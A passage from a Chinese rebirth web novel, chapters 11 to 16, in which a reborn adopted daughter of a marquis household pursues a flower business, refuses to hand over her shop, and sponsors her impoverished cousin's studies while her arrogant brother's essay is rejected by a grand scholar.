小厨房弄起来之后，她请了个川渝厨娘，每天变着花样吃好吃的。 “小姐，今儿吃鱼。”川渝厨娘个子矮矮的，长了张圆脸，手艺特别好。 “水煮鱼用花椒、生姜腌制去腥，汤底放莲藕、豆腐、鲜笋切片，鲜得舌头掉。” 苏舒窈昨儿刚吃了炙烤羊肉，今儿吃水煮鱼，明儿吃牛肉，安排得明明白白。 万氏礼佛，吃得清淡，苏舒窈上一世为了迎合万氏，也跟着清淡饮食。 其实她更喜欢吃辣。 这一世，她要把这世间的美食，全都吃一遍。 秋霜咽了咽口水：“小姐，天天吃辣，吃腻了怎么办？” “吃腻了就再请一个会做其他菜的厨娘，又不是养不起。”苏舒窈笑道：“吃完饭，我们去花卉市场看看，买点铃兰和牡丹种在院子里。” 等来年牡丹花开，她要在发髻上簪牡丹。 秋霜：“大小姐，咱真要做花草生意啊？这花啊草啊的，能赚钱吗？” “当然能啦，去年花市上一盆墨兰，拍出了天价。”苏舒窈笑道：“文人墨客附庸风雅，稀罕的花草可值钱了。” 高门大户的夫人，平日也爱办花宴，花草生意做好了，可不得了。 秋霜听说能赚大钱，立马踌躇满志：“那我们也研究一下，专种最贵的！” 老夫人留给她的铺子，不能再做香料生意了，就怕万氏攀扯，那是侯府祖上的方子，赚的钱应该归侯府。 暗地里，苏明珠悄悄打听苏舒窈的动向，得知苏舒窈一天到晚吃吃喝喝，不由诧异。 这一世，苏舒窈变猪精了？ 她都这般针对了，苏舒窈竟然这么沉得住气，一次火都没有发。 好生没趣。 怎么不像上一世那般，一惹便急？ 苏明珠来到春景园，厢房内，万氏正在喝燕窝。 见到苏明珠进来，万氏脸上涌现一抹笑意：“味道比之前的滋润不少。” 苏明珠笑道：“母亲，这可是血燕，比一般的燕窝更加滋补。” 更加滋补，价格也更加昂贵。 一盏血燕，是普通燕窝的三倍价格。 “还是明珠贴心。” 苏舒窈掌家的时候，从来没有买过血燕。 “母亲，待会儿绸缎庄送布料来，母亲多选两匹，听说今年的蜀锦，花样特别好看。” 万氏看了她一眼：“银子够用吗？” 苏明珠点了点头：“够的。” 这些她都会，让管事去铺子上拿货，半年结一次账就行，简单得很。 结账的日子一般是八月、二月，现在才七月，离下一次结账，还有些日子呢。 到时候香料铺子赚的银子，完全足够支付。 掌家也挺简单的，管事媳妇们非常听话，不知道以前苏舒窈掌家的时候，在拽什么？ 喝完燕窝，绸缎庄的管事带了新来的蜀锦，让万氏挑选。两母女一共挑了十来匹。 按照份例，万氏一个季度三匹布，小姐们一个季度两匹布，一匹布大概能做两件衣裳。 两人一下子就挑了大半年的份例。 万氏只觉得前所未有的舒心。 “还是明珠更会掌家。” 刚选完蜀锦，下人来报，“大小姐来了。” 苏明珠抿了抿唇：“母亲把姐姐叫来干什么？” 万氏道：“听说她在做花草的生意，问一问什么情况。” 苏舒窈穿了件轻薄的纱衫，内里搭了件大红主腰，娉婷挪步间，步步生莲。 她五官稠丽，但因为年岁小，还没长开，带了三分稚气，妩媚的同时，也不乏少女娇俏。 万氏和苏明珠见到人，下意识皱了皱眉。 万氏出声询问：“打扮得花枝招展，要勾引谁？” 这话攻击力巨大，带着浓浓的恶意。 上一世，万氏也是这样，让苏舒窈认为，打扮是耻辱的是不对的，误认为自己是取悦他人的存在。 其实，不过就是见她打扮起来太好看，嫉妒罢了。 苏舒窈笑了笑，看向苏明珠：“明珠勾引谁，我就勾引谁。” 苏明珠打扮得更加招展，头上钗环比苏舒窈更多，裙子颜色也更鲜亮，外衫也更加轻薄。 只不过苏明珠和万氏一样，都是寡淡的长相，费尽心机打扮，也不如苏舒窈万分之一。 万氏：“你怎么能和明珠比？” 明珠是正儿八经的侯府嫡长女，她只是一个养女。 苏舒窈却假装听不懂她的话，反问道：“我怎么不能和她比？不都是夫人的女儿？” 万氏常年将慈爱挂在嘴边，对外总是说，她对儿女的疼爱，都是一样的。 面对苏舒窈的质问，自然不知如何应对，岔开话题道：“怎么想起做花卉生意了？” 苏舒窈淡然一笑，没有回答，反问道：“夫人，祖上有没有侍弄花卉的秘方？” 言外之意，没有的话，她挣的钱，不用再交出来了。 万氏淡淡地看了人一眼：“没有。” 苏舒窈：“那就好。” 万氏又道：“花草能挣几个钱，还不如把铺子交给明珠，让明珠一并管着，到时候给你分红。” 万氏得知香料铺子的利润之后，后悔把老夫人的铺子还给苏舒窈了。 一个铺子一年能挣数万两，相当于整个侯府两年的收入了。 苏舒窈手上，也不知道存了多少银子。 “明珠管的比你好些，她都管了几个铺子了，多管一个也不妨事。你不熟悉花草这一行，亏了钱，可惜。” 苏舒窈笑了一下，不置可否。 万氏惯用的打压手段，又来了。 上一世，听到否定的评价，她定会日日思虑，然后加倍努力，加倍讨好，证明自己的价值。 可是，人心里的偏见，好似大山，没有那么容易扭转。 万氏认为她不好，剖开心放到她面前，也不会让她怜惜三分。 现在这样的话，她就当笑话听听。 忽然觉得，万氏好像说书先生，说的话挺逗趣。 万氏生气又找不到理由发火的样子，也好好笑。 苏舒窈问道：“给我分多少？” 万氏道：“香饼秘方是祖上的，给你分三......两成。” 两成都是上千两银子。 有点多。 分几百两差不多了。 “一年给你五百两，一般的米面铺子也挣不了这么多。给你五百两，也是看在情分上。” 苏舒窈又笑了，万氏的吃相真的太难看了。 她早已不是那个，为了万氏一句话，便可以豁出命去的苏舒窈了。 “这样的情分太贵重了，我可要不起。” “我就弄弄花草吧。” 第12章 印子钱 万氏又被噎了一下。 自从收走香料铺子之后，苏舒窈真是越来越不服管教了。 她想发火，却又找不到理由。 脸色阴沉。 苏明珠出声道：“姐姐，母亲是为你着想，你之前赚到的银子，靠的是祖上的秘方，没让你全部拿出来也是母亲慈悲。” “母亲只是觉得，亏了可惜，到底是靠着祖传方子赚到的银子。” “我赚到的银子，全补贴侯府亏空了，我现在没银子。”苏舒窈的眼神淡却有神，仿佛一眼就能看穿对方心底的龌龊。 “妹妹要是怕亏钱，不如把铺子还给我。” 苏明珠一下就急了，声音有些拔高：“我是怕你亏钱！” 苏舒窈：“有空担心我，不如担心香料铺子的存货卖完了，该怎么办。” 苏明珠道：“这有什么担心的，香饼卖完了，照着祖上传下来的方子做就是。” 一句话，便要抹杀了苏舒窈过往的功绩。 香料铺子赚钱，全是祖上秘方的功绩，与她无关。 少女漂亮的眸子里闪过一丝讥诮：“既然这样，妹妹可要把方子看好了，要是被外人看了去，妹妹可不好夺了外人的铺子。” 谢老板那边传来消息，苏明珠已经和谢老板的人搭上线，连定钱都付了。 香料不仅昂贵，保存方式也十分独特，不同的品质，价格也不相同， 泡水之后的香料，从千金一嗅变得一文不值。 苏明珠这样一窍不通的外行，根本看不出来。 就是不知道，到时候苏明珠亏得倾家荡产，谁能帮她兜底。 万氏说了半天，苏舒窈都不肯交出铺子。 万氏恼了：“舒窈，你怎么变得如此不知礼数？！” 苏舒窈淡淡一笑；“夫人，我究竟哪里不知礼数了？” 万氏：“让你把铺子交出来，是为了你好！都说了每年给你分五百两，你还要怎么样？你做花草生意，能每年挣五百两吗？！” “真是鼠目寸光、不识好人心！” 苏舒窈云淡风轻一笑：“我觉得我很有礼数，深谋远虑，反而是想抢走我手上铺子的人，不知礼数、目光短浅。” 说完，便离开了。 万氏气得咬牙：“真是不知所谓！” 看着万氏生气，苏明珠心里窃喜。 万氏越不喜欢苏舒窈，她就越开心：“母亲消消气，等姐姐亏了钱，就知道母亲是真心为她好了。” “我就是怕她私下里还不肯放弃香料生意，这可是侯府祖上的产业。” 万氏：“只要发现，必让她把赚来的银子全部吐出来，铺子也交出来。” 苏明珠：“母亲英明。” 万氏心情好了许多：“我这儿的香快用完了。” 苏明珠：“待会儿就让人给母亲送来。” “对了，母亲，香料铺子的事，女儿要向您汇报一番。” 苏明珠把进货需要银子的事说了。 万氏不懂经营，问道：“以往苏舒窈怎么做的？” 苏明珠：“听说她是先赊账，卖了货再结账款，女儿刚接手，与商贩不熟，商贩不愿赊货。” “女儿的意思是，借点印子钱应应急。” 听到“印子钱”三个字，万氏抬起头来：“借多少？” 印子钱那种东西，稍不留神，可是会倾家荡产的。 “要借两万。” “这么多？” 苏明珠赶紧递上账本：“母亲，这是香料铺子的收益，只要把货进回来，两周就能把钱还上。” 万氏看了一眼账本，“印子钱几分利。” 苏明珠：“日息一分，借两周的话，利息三千两。” “三千两啊，说多不多，说少也不少。”万氏想了想，“要不这样，这银子我来垫付，到时候这利息......” 苏明珠心下一喜，忙应道：“利息当然是给母亲了。” 万氏脸色一喜：“还是明珠会办事。” “这都是母亲应得的。” 两人商量好之后，母女感情更深了。 ~ 苏明沛在家憋了三天，终于把《秋菊赋》写出来了。 上一世写的那篇，实在是记不得了，还好他的学识水平没有退化，重写的这篇，他更加满意。 看了好几遍，越看越觉得好。 苏明沛拿着《秋菊赋》，来到李大儒家门口。 李大儒家在京郊，平时很是低调，苏明沛上前敲门，送上拜帖：“威远侯世子苏明沛，特来拜见大儒！” 门房瞅了他一眼，没有接他的名帖：“我家主子不见外人，公子请回。” 像苏明沛这种上门拜师的学子，门房一天要见几十个。 苏明沛从怀里掏出《秋菊赋》递了过去：“你把这个交给大儒，大儒看完之后，自然会见我。” 门房看都没看：“我家主子说了，状元的文章都不看。” 苏明沛撇了撇嘴，从怀里掏出一锭银子：“还请这位小哥通融一下。” 门房接了银子，眼珠子一转：“公子，我只管送进去，我家主子看不看，我可做不了主。” 苏明沛双手一拱：“多谢。” 看着门房的背影，苏明沛冷笑一声。 真是狗眼看人低，来日待他拜师成功，定然要告诉大儒，将这人给远远发卖了。 有眼不识金镶玉，他可是未来的工部尚书，李大儒的关门弟子！ 离开李大儒的宅子，苏明沛去了梨棠那里。 自从两人婚事定下来之后，梨棠便从青楼赎了身，在外面赁了个小宅子，重新安排了一个身份，准备嫁人。 “世子，您怎么来了？”梨棠听说苏明沛来了，忙忙慌慌从东厢房里出来。 见到人，眼神里藏着一丝慌乱：“世子不是说，今儿要拜大儒为师吗？” 苏明沛：“刚从大儒府上回来。” 梨棠眉眼一弯，将身子贴了上去，引着人去了西厢房：“世子拜师成功了？” 苏明沛：“八九不离十了。” 上一世，他那篇《秋菊赋》是苏舒窈帮他递交给李大儒的，这一世，他亲自送过去，应该更能打动大儒吧。 梨棠嘤咛一笑：“听说李大儒是太子的启蒙老师，轻易不收徒，世子能拜得名师，日后定会青云直上。” “天大的好事，定要好生庆祝一番。” 梨棠立马让人置办了一桌酒菜庆祝。 酒菜备齐后，梨棠端起一杯清茶，“妾以茶代酒，祝世子金榜题名，步步高升。” 苏明沛看了一眼茶水：“身子还没好？不能喝酒？” 果然，民间郎中医术比不得御医。 梨棠低头看了眼肚子，羞怯道：“世子，妾身身子大好了，妾身是有了。” 苏明沛愣了愣。 上一世，梨棠被苏舒窈发卖的时候，竟然是怀着身孕的吗？ 苏舒窈真是好狠的心啊！ 竟然让侯府血脉外流。 幸亏这一世，他识破苏舒窈的狠心，拼命将梨棠留了下来。 脸上笑容绽开：“那岂不是双喜临门了！” 梨棠羞涩一笑：“世子，这婚期恐怕要提前了。” 苏明沛大手一挥：“这有何难，我回去便告诉母亲。” 第13章 故人 自从打算做花草生意之后，苏舒窈每日都要去花卉市场看看。 墨兰极为罕见，一般花卉市场买不到成品，需要自己采集筛选后培育。 今日，她刚来到花市，便碰到赌草。 赌草——在兰花没有开花之前，根据叶的形态，判断以后的花型、颜色，然后下注。 苏舒窈觉得稀奇，打算买两棵试试：“老板，这草怎么赌的？” “小姐好眼力，这株‘青蛙皮’潜力无穷，只需200两押金，花草寄养在我这里，一年后花开，如果是稀有品种，小姐还需付我800两尾款，卖花钱还得分我四成。如果是一般品种，小姐把花拿走，押金不退。” 苏舒窈回忆，当年好像确实有一株名为“绿云”的菊瓣奇花，花开之后售价万金，就是赌草赌出来的。 上一世，她有幸见过这株“绿云”，确实惊艳。 这盆绿云，还引发了一场官司。客人交了押金，花开之后老板不想认账，两人打了官司，闹得沸沸扬扬。 听说花草老板姓周，为人刻薄，最爱克扣伙计工钱，这事过后，大家都叫他“周扒皮”。 想到这里，苏舒窈笑了笑：“老板，你姓什么啊？” 花草老板脸色一变：“你是来捣乱的吧？赌草与我姓氏何关？要买就买，不买就走，别耽误我做生意！” “老板姓周。”旁边有看客起哄：“周老板你态度这么恶劣，还要不要做生意了！” 周老板脸色一黑，他不敢骂客人，转身朝着身后一个搬花的少年踹过去。 “客人来了都不知道招呼，没有一点眼力见！” 少年带着草帽，被踹之后，闷哼一声，压低帽檐，忙着搬花去了。 苏舒窈看着少年的背影，若有所思。 这不是苏明厉吗？ 这个时候，苏明厉不在私塾读书，怎么到花市搬花来了？ 苏明厉是侯府大房长子，老侯爷去世后，二房苏则遂承爵，大房一家被分了出去。 大伯和苏则遂是嫡亲的两兄弟，按理说，爵位一般由嫡长子继承，但大伯伤了眼，大夏有“废疾不立”的律法，明面上，大伯没有承爵资格，但可将爵位过渡到苏明厉身上。 是苏则遂告了官，又找了万氏娘家人帮忙，最后，侯府爵位落到了苏则遂身上。 世子之争，向来残酷。 大伯一家搬走后，两家交恶，来往便少了。 苏舒窈上前一步，将人叫住：“明厉，你怎么在这里？” 少年的身体顿了顿，“小姐，你认错人了。” 他身上穿着粗布衣裳，膝弯处打着补丁，不像世家公子。 苏舒窈想起上一世，她被打死之后，万氏让人把她扔到了乱葬岗，是大伯娘帮她收了尸。 帮她收尸的时候，大伯娘穿得并不好，身形佝偻，头上没有钗环，身边连个丫鬟都没有。 看起来很是落魄。 尽管如此，大伯娘还是买了一套便宜的棺椁，把她安葬了。 多亏了大伯娘，她不至于当个孤魂野鬼。 想到这里，苏舒窈没有跟过去，转身去了别的铺子。 到了午时，苏舒窈看着少年从铺子里出来，拐进一条小巷子。 苏舒窈加快脚步，跟了上去。 “明厉，果然是你。” 苏明厉没想到苏舒窈还没走，脚步一顿，回过头来，“专程等在这里，看我的笑话？” 他虽然穿着布衣，但浑身气质斐然，身上的补丁也难掩文雅气质。 五官秀丽独特渊渟岳峙，眉眼却带着一股疏离，好似跌落幽潭的一块寒玉。 苏舒窈解释道：“明厉，你误会了，我就是好奇，你不读书在这里干什么？大伯的眼疾怎么样了，你们是不是遇到困难了？” 苏明厉冷笑一声：“少在这里假惺惺，你和苏则遂，不过是一丘之貉！” 苏舒窈自知多说无益，解下腰间荷包扔了过去：“接住。” 苏明厉下意识接下荷包：“这是什么？” 苏舒窈：“不知道你为什么对我如此抗拒，你到花市是为谋财，荷包里的银票拿去应急吧。” 苏明厉打开荷包，里面装了五张银票，二十两一张，一共一百两。 看到银票之后，苏明厉眼中的戒备减少了些许，但仍然警惕：“苏舒窈，你究竟想干什么？” 苏舒窈：“分家之后，我就再也没有见到大伯大伯娘了，我想问问，大伯和大伯娘过得怎么样？” 苏明厉眉心皱起，他想把荷包扔回去，但想到卧病在床的父亲，还是忍了下来。 一百两，够普通人家数年开销，但家里有病人，常年吃药看诊，一百两也就是几个月的药钱。 “父亲眼睛彻底看不见了，身体也不太好。” 苏舒窈：“你们现在住哪里，能不能带我去看看？” 苏明厉想了想，看在这一百两的面子上，点头同意了。 苏舒窈跟着苏明厉来到家里。 侯府分家，承爵的一方分大头，另外的分不了多少，但也不会太差。 苏舒窈记得，苏大伯一家分了个三进的宅子，还有两个铺面。 但现在，一家人挤在逼仄的四合院里，连个伺候的都没有。 “明厉，这位小姐是？”大伯母穿着一身布衣从厨房出来。 她手上端着一盘炒南瓜，脸上手上全是油。 “大伯娘，我是舒窈。” “舒窈？哎呀，你怎么来了，快进来坐。”大伯娘先是愣了愣，然后一脸惊喜。 她低头看了看手，摘下小指上的戒指，“家里没什么吃的，明厉，去路口酒楼买两个菜回来。” “大伯娘，不用那么麻烦，我吃了饭的。”苏舒窈上前一步，将大伯母手上的戒指戴了回去，“大伯母，今儿凑巧碰到明厉哥哥，顺道过来来看看您。” 她回头看了秋霜一眼，秋霜忙道：“哎呦，礼品忘在马车上了，奴婢马上去拿。” 大伯娘笑道：“都是一家人，拿什么礼品，快把你那小丫鬟叫回来。” 苏舒窈扶着大伯娘的手，摸到满手茧。 “家里小了些，你随便坐。”大伯娘端来椅子，找了个干净茶碗，泡了茶。“哎哟，好多年不见，舒窈都长这么大了，对了，舒窈，你在私塾碰到的明厉？” 苏舒窈愣了愣。 怪不得苏明厉被她看见，跟个炸毛狗似的，原来，他没有读书了，瞒着家人在外打工。 “是的，正好碰到明厉下学。” “明厉，你和舒窈说说话，我先伺候你爹吃饭。” 大伯不仅眼瞎，最近还摔断了腿，一直在床上躺着。 这些年，为了大伯的病，一家人卖房卖地，过得艰难。 ...... 从大伯家出来，苏明厉主动解释道：“前年，父亲生病，急需银子，我去过侯府，苏则遂不肯见我，给了五两银子，把我当成打秋风的穷亲戚，从此，我再也没有去过。” 算是解释了为什么一开始对苏舒窈态度不好。 苏舒窈想了想：“明厉，你想继续读书参加科举吗？” 苏明厉愣了愣。 “我虽然退学了，并没有放弃学习，明年科举，我会参加的。” 没有老师教导，自学效果很差，但他不会放弃。 苏舒窈继续问道：“那你想拜李大儒为师吗？” 第14章 平庸 上一世，苏舒窈送了李大儒一副羊脂白玉围棋，又机缘巧合救了李大儒的女儿，让苏明沛有机会拜李大儒为师。 这一世，她原本打算放手不管，等着苏明沛拜师失利，等着看苏明沛的笑话。 现在转念一想，她既然重活一世，上一世的机缘，为什么要放手。 李大儒是条很好的人脉，就算不能拜师，结交到李大儒对自己也有好处。 现在遇到苏明厉，她又有了新想法——既然苏明沛狼心狗肺，不如换个人扶持。 她如果继续经商，也需要保护伞。 要不然，挣再多的钱，都护不住。 就像现在，侯府一句话，便收走了她的香料铺子。 侯府始终是个隐患，她一个孤女，总要给自己找个靠山。 苏明厉眉心皱起来：“你在说笑？” 苏舒窈轻移莲步，裙裾似云涛漫卷：“并非说笑，我有办法让你成为李大儒的关门弟子。” “科举前，你们家的一切开销，我都包了。” 面对天上忽然掉下来的馅饼，苏明厉有一丝恍惚：“你......你知道你在说什么吗？” 苏明厉这才认真看向苏舒窈。 分家时，这个妹妹还小，唯一的印象便是，她端坐在椅子上，歪着脑袋听老夫人说话。 一眨眼，苏舒窈都长成大姑娘了。 不知道是不是因为从小跟着老夫人长大，苏明厉觉得，她给人的气质，很像老夫人。 沉稳、冷静、大气。 明明只是一个十六岁的小姑娘。 “我当然知道我在说什么。”苏舒窈一派云淡风轻，“我帮你，并非全无代价。” 苏明厉问道：“你要什么？” 苏舒窈：“今后你科举入仕，我要你充当我的保护伞。” 无偿付出反而被辜负，这一世，她便将所有的付出，明码标价。 “不仅如此，我还要你助我离开侯府，今后你有了权力，想办法给我弄一个独立的户口。” 苏舒窈上前一步，走到苏明厉面前，漂亮的眸子藏着一抹审视： “苏明厉，你要是拜入李大儒门下，能高中进士吗？” “苏明厉，你是言而有信的人吗？” 听到这里，苏明厉眉间褶皱舒展开来。 苏舒窈无缘无故地对他好，他警惕，现在提出明确条件，他反而放松下来。 “我能考中......只要让我读书，我一定能考中！” 他的资质不差，但是束脩太贵，笔墨纸砚对他们家来说，像是天价，他们家早已负担不起了。 他现在看的书，都是很早以前从侯府带出来的。 而且，他已经大半年没有在纸上写过字了，之前毛笔没坏，还能蘸水写在桌上。 后来毛笔坏了，只能用树枝写到地上。 “我会保护你，但伤天害理的事，我不会做。” “我苏明厉对天起誓，如果食言，天打雷劈，不得好死！” 苏舒窈淡然一笑：“行，成交了。今儿我便给你们重新安排住处，再买几个下人。” 这些年，大伯娘太过操劳，明明和万氏差不多的年纪，看起来比万氏老了好几岁。 安排好之后，苏舒窈忽然开口：“明厉，你懂兰花吗？” 苏明厉摇了摇头：“不会。你要赌草？” 苏舒窈点点头：“嗯。” 苏明厉劝道：“劝你别去，十赌九输。赢的都是少数。” 他在花草铺子当账房，顺便帮着干点体力活。见过不少赌草的，最后输得倾家荡产。 “我能赢。”苏舒窈笑道。 重活一世，她一定要赢。 她重新返回花草市场，买下了那株“青蛙皮”，为了避免开花之后周扒皮不认账，她直接全款将兰草买了下来。 周扒皮暗自窃喜，遇到一个冤大头。 接下来，苏舒窈回到侯府，等着救助李大儒的女儿李鸢。 李鸢原本跟着夫君在外地任职，今年七月，她的夫君被调回京城，她也跟着夫君一起回京。 因为时间紧迫，夫君先走一步，她身怀六甲，在后面慢慢走。 没成想，马车驶到半路的时候车轮坏了，李鸢又有了早产的迹象。 正好苏舒窈经过，将人送到别院，请来稳婆，最后母子平安。 仔细算来，三天之后，就是李鸢上京的时间。 ~ 苏明沛得知梨棠有孕之后，回府找到苏明珠：“明珠，忙完了吗？管家顺利吗？” “还行，管家很简单。”苏明珠问道：“大哥，你有事吗？” “明珠，我的婚事能不能帮忙求一求母亲，提前一点？”见对方疑惑，苏明沛主动解释：“梨棠她，怀孕了。” 这门婚事本来就不太体面，要是大着肚子，岂不更是丢人现眼。 苏明珠点头：“大哥，你放心，我这就告诉母亲。有我操持，你的大婚，保管风风光光！” “明珠，你真是我的好妹妹。” “大哥，你别忘了，对我的保证。” 苏明沛疑惑：“什么保证？” 苏明珠：“科举考进前三啊？千万别忘了！” 苏明沛得意一笑：“放心，我定不会让你失望！” “对了，大哥，听说你去拜李大儒为师，怎么样了？” 上一世，听说大哥拜李大儒为师，苏舒窈有很大的功劳。 真是笑话，明明是大哥有才华被大儒看上，关她苏舒窈什么事。 本事没有，光会往脸上贴金。 这一世，大哥拜师成功之后，她定要去苏舒窈面前，好生羞辱她一番。 苏明沛勾唇一笑：“自然是没有问题，我待会儿就去李大儒府上拜访。” 苏明珠：“大哥拜师成功之后，一定要第一时间告诉我，我安排一桌席面，好好庆祝一番。” “没问题。” 第二日一早，苏明沛就迫不及待再次来到李大儒府邸。 “请问小哥，在下的文章，大儒看过了吗？” 门房道：“看过了。” 苏明沛出手阔绰，门房一眼就将他认了出来。 苏明沛神色一喜：“大儒怎么评价？有没有被惊艳到？” 门房摇摇头：“什么惊艳啊，我家主子说了，实在平庸，让公子回家加强学习。” 苏明沛神色一变：“你说什么？” 门房重复道：“说你资质平庸，别好高骛远，脚踏实地学习。” 苏明沛傻眼了。 怎么可能？ 他的这篇《秋菊赋》，明明比上一世那篇写得更好，怎么可能平庸？！ 他怒道：“你是不是没给大儒看？！” 门房：“怎么没看？不就那篇《秋菊赋》吗，我家主子看得眉心直皱，说是资质平庸都是抬举你了，简直就是狗屁不通！” “你！老子打死你！” 苏明沛咬牙切齿朝着门房扑了过去。 第15章 踌躇 威远侯府，倚兰居。 院子里，搭了一架凉棚，苏舒窈带着秋霜在凉棚里吃麻辣锅子。 火红的油汤沸腾起来，发出咕咚咕咚的声响。 锅子旁边，摆放着切好的笋片、牛肉、菌菇、青菜、藕片、毛肚...... 食材摆盘精美，光是看着，便让人口水吞咽。 “大小姐，今儿天好热，还没开吃，奴婢已经满头是汗了。”秋霜用帕子抹了把额上的汗水。 苏舒窈拉着她坐到锅子旁：“都消了奴籍，怎么还自称奴婢？以后这称呼，可得改一改。” 秋霜有些惶恐：“当了十多年奴婢，怕是不好改。” 苏舒窈笑道：“这都改不了，以后要你出去帮我管理那么多铺子，怎么让那些掌柜听话？” 秋霜“啊”了一声：“大小姐，奴婢何德何能，能帮着大小姐管铺子？” 苏舒窈佯装苦恼地拖着腮帮：“你管不了怎么办，我最信任的人就是你，只有你会全心全意帮我，其他人，多少有点私心的。” 秋霜一想到大小姐在侯府的处境，马上踌躇满志起来：“行，我现在就改！不仅改，我还要认真学！” “行，那待会儿吃完麻辣锅子，我教你认字。”苏舒窈夹起一片嫩牛肉，在红锅里涮了一下。 牛肉鲜嫩，裹着辣油，入嘴的那一刻，舌尖传来些许刺痛，又辣又爽。 没吃两筷子，苏舒窈也满头大汗。 她让丫鬟拿了冰放在院子里，又在旁边不停地打扇，即便如此，衣裳也被汗水浸湿了。 “大小姐，最近用了好多银子了。”秋霜看着身边的冰块，“大小姐，我不用冰，我受得住。” 弄了小厨房，以后便会多一项开销，小厨房开销还好，养着苏明厉一家才费钱，大小姐还买了盆天价兰花......能节约一点算一点，她不需要用冰。 苏舒窈笑道：“银子赚来，不就是花的。自己不花，没得便宜了别人。” 秋霜转念一想，确实如此，侯府的银子是大小姐赚来的，花银子的却是其他主子，即便如此，大小姐还被夫人嫌弃。 这银子花得好，应该花。 “大小姐，那株兰草，是不是要专门找个人来伺候啊？”一千二白两的兰草，比她的命还贵。 秋霜觉得，找十个人来伺候也不为过。 “不用，我自己亲自养。”苏舒窈是真的喜欢侍弄花草，“待会儿出门买几本养花的书看看。” “又要出门？” 秋霜怕万氏不高兴。 这几天频繁出门，守门婆子那个眼神，真的很吓人。 “嗯嗯，我不是要重开香料铺子吗，还要重新买铺面。” 现在的京城，只有东西两条街最热闹，铺子也最贵，但过不了多久，因为朝廷改革，南街也会热闹起来，现在南街的铺子便宜，就算不做生意，也买几个，到时候涨价了，也能赚不少。 对了，合适的宅子也买两个，到时候离开侯府，也有去处。 两人正在说话，忽然，门外传来一阵喧哗。 打人声、劝阻声交织，热闹得很。 听说是苏明沛出事了。 守门的两个小丫鬟勾着脑袋往外瞧，秋霜见了，上前训道：“这么想看，不如出去看个够！” 大小姐说了，让她们远离是非，现在二小姐掌家，不能给二小姐找茬的理由。 苏舒窈听着门外的动静，挽着秋霜：“走，我们都去看看。” 她估摸着，应该是苏明沛拜师失败，惹了事回来了。 上一世，苏明沛写了篇《秋菊赋》，是她送去李大儒府上的。 苏舒窈看过那篇《秋菊赋》，写得实在一般，她不放心，送去之前润色了一番。 说是润色，相当于重写了。 碍于苏明沛的自尊，这件事她谁也没告诉。 如果她没猜错，这一世，苏明沛定会拿着《秋菊赋》去李大儒府上拜访。 苏明沛性格暴躁，最是听不得贬低的话，平时在家，苏舒窈把他捧着，到了外面，谁知道他是谁。 苏明沛定是在李大儒那里碰了壁，不知分寸大发脾气，被人告到府里来了。 出门一问，果真是这样。 李大儒家的门房说《秋菊赋》写得不好，苏明沛和门房打了一架，惊动了李大儒。 李大儒亲自点评了《秋菊赋》：资质平庸，难登大雅。 苏明沛当场被气晕，李大儒家的管事上门，将苏明沛“送”了回来。 管事阴阳怪气道：“苏世子是有大才之人，咱大儒教不了，还请侯爷另请高明，随便看好世子，不要再来了，咱区区小庙装不下世子那尊大佛。” 侯爷气得不轻，要对苏明沛用家法。 万氏和苏明珠在一旁劝。 见到苏舒窈，万氏又扑了过来，“舒窈，快劝劝你父亲，这家法怎么能随便用的？” “明沛可是要做大事的人啊！打坏了可怎么办？” 苏明沛犯了错打不得，她没犯错，还动不动就要对她用家法。 苏舒窈佯装惊讶，露出一抹痛心：“世子得罪了李大儒，那岂不是二哥以后也没有机会拜李大儒为师了。” 二哥苏明添读书不好，却也心高气傲。 原本没他的事，但听了苏舒窈的话，莫名其妙觉得自己损失惨重。 对啊，要不是大哥这般鲁莽，他也是有机会拜入李大儒名下的。 苏明添本来想劝，话到嘴边，还是闭上了嘴。 他们威远侯府，嫡次子也是有机会承爵的。 没人出面，苏明珠这才战战巍巍走上前，唤了声：“父亲。” 声音很小，很柔，带着几分委屈，刚一开口，便红了眼眶。 “父亲，大哥他有心上进，才会惹恼大儒，他若浪荡，怎么会去拜师，大哥这般上进，不应该责骂，应该表扬才是，父亲是明理之人，还请父亲看在明珠的份上，饶了大哥这一次......” 一席话情真意切，饱含真情，苏明沛被感动得一塌糊涂。 反观苏舒窈，似巍峨青山，平静沉稳，嘴边噙着一抹笑，好似在讥讽，看吧，没了我，你拜师都要失败！ 苏明沛咬着牙，挪开目光。 苏舒窈，你别太得意！ 没有苏舒窈，他会更加成功！ 他耷拉着肩膀，瘫坐在地上，怎么也想不通，为什么李大儒不肯收他为徒？！ 明明上一世他拜师那么顺利。 上一世李大儒还说了，他那篇《秋菊赋》写得很好，立意不错的。 这一世，怎么评价那么低？ 一定是那个门房在李大儒面前说了他的坏话。 不该这样的。 威远侯指着苏明沛鼻子骂道：“明儿去给李大儒登门道歉！” “你个逆子，我不求你有多长进，但求你别出去丢人现眼！” 威远侯虽然没什么本事，却最是看中脸面。 苏明沛闹这一场，想必没多久就会传得人尽皆知。 自己的儿子出了事，第一时间不是想着询问缘由，看看儿子受了委屈，而是觉得丢了面子。 威远侯府的男人，是一脉相传的自私。 第16章 螳螂 在万氏和苏明珠的劝阻下，最后这家法也没落下来，苏明沛被罚去跪祠堂。 他跪在蒲团上，还在想不通，为什么李大儒会如此贬损他。 明明上一世，他和李大儒师徒情谊深厚。 他性子急躁，李大儒非但没有嫌弃，还对他多有包容。 他也将李大儒当成父亲来尊敬的。 这一世，怎么能闹成这样？ 难道上一世，他能拜师成功，真的是因为苏舒窈...... 脑子里刚冒出这个念法，就被否定了。 关苏舒窈什么事儿？ 上一世的成功，全是他苦心经营的，他最是看不惯苏舒窈那一副居功自傲的模样。 一副围棋就能收买李大儒？ 李大儒是那种人吗？ 如果用一副围棋就能收买李大儒，李大儒早就桃李满天下了。 跪了一会儿，苏明沛叹了一口气，父亲让他到李大儒府上负荆请罪，要不然他也送一盒围棋试试...... 忽然，门外响起细微的脚步声。 苏明沛心里一嗤。 如果他没猜错，来人肯定是苏舒窈。 苏舒窈定然要来插手他拜师的事。 他不可能让苏舒窈看笑话。 他没有回头。 刚刚父亲要对他动用家法，苏舒窈竟然没劝。 除非苏舒窈道歉，并且求他，不然，他定然不会让苏舒窈帮他去李大儒家说和。 苏明沛等了好久，身后都没有动静。 转头一看，原来刚刚那脚步声是打扫的丫鬟发出的。 苏明沛气得一拳头捶到蒲团上。 卧槽，好痛！ 就算苏舒窈哭着求他，他也不会原谅！ 又跪了一会儿，身后再次出现动静。 这会苏明沛立刻转头：“苏舒窈，你别来假惺惺......” 看清是苏明珠之后，苏明沛有些讶异：“明珠，怎么是你？” 苏明珠蹲到苏明沛身边，柔声道：“大哥，我来看看你。” 刚开口，眼眶就红了：“大哥，你受苦了。” 